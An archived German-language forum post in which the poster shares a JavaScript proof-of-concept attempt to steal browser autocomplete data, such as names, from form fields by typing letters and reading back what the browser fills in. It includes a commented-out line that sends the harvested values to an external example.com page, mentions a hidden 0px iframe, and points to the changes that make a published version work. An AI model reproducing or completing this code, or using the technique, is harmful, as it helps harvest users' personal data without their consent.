PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Autocomplete mit JS abgreifen PoC



Ghost in the Shell
24.07.2010, 12:40
Hi!

Ihr habt ja evt. schon mitbekommen, dass einige Browser unvorsichtig mit der Autocomplete-Funktion umgehen (wenn nicht, Autocomplete: Browser verraten vertrauliche Daten | heise Security (http://www.heise.de/security/meldung/Autocomplete-Browser-verraten-vertrauliche-Daten-1043008.html) ).

Jeremiah Grossman will seinen Proof of Concept auf der Black-Hat-Konferenz vorstellen.

Ich dachte mir, so schwer sieht das nicht aus - versuchs selber.



var results = new Array();
var alphabet = new Array('A','B','C','D','E','F','G','H','I','J','K', 'L','M','N','O','P','Q','R','S','T','U','V','W','X ','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m ','n','o','p','q','r','s','t','u','v','w','x','y', 'z',
'1','2','3','4','5','6','7','8','9','0');
var various_form_names = new Array('first_name','firstname','vorname','name'/*,'telefon','nachname','telephone','lastname','las t_name','tel','date','birth','geburtstag'*/);
function start()
{
check_form('form_firstname',0,0); // Transferring form ids
alert("End of operation, sending data");
//window.location = 'http://www.example.com/index.php?data='+results; // sending results to a php-page, also possible per including a 0px-iFrame
}
function check_form(form_id,x,y)
{
var form = document.getElementById(form_id); // getting Form-Element by id
for (var y = 0; y < various_form_names.length; y++) // running through alphabeth, inclusive A-Z,a-z,0-9, extensions possible above
{
form.name = various_form_names[y];
for (var x = 0; x < alphabet.length; x++) // running through alphabeth, inclusive A-Z,a-z,0-9, extensions possible above
{
form.focus();
form.value = alphabet[x]; // writing character into form
//alert("Klick mich, checking "+form.name);
if (form.value != alphabet[x]) // check, whether someting changed, maybe set a timer here
{
results[results.length] = form.value; // putting results into global var
alert("Found something: "+form.value);
}
}
}
}
Das Problem: Es funktioniert nicht ^^
Jemand eine Idee, wie ich noch exakter einen Tastendruck simulieren kann, oder was ich noch run könnte, damit es klappt? Habt ihr schon irgendwo anders einen PoC gesehen?

Getestet mit Safari 5

Okay, hat sich erledingt :(

http://ha.ckers.org/weird/safari_autofill.html da ist der Coder veröffentlicht.

Die wesentlichen Unterschiede sind 500 Millisekunden Wartezeit, bevor der Inhalt des Forms erneut überprüft wird und der Einsatz von event.initTextEvent.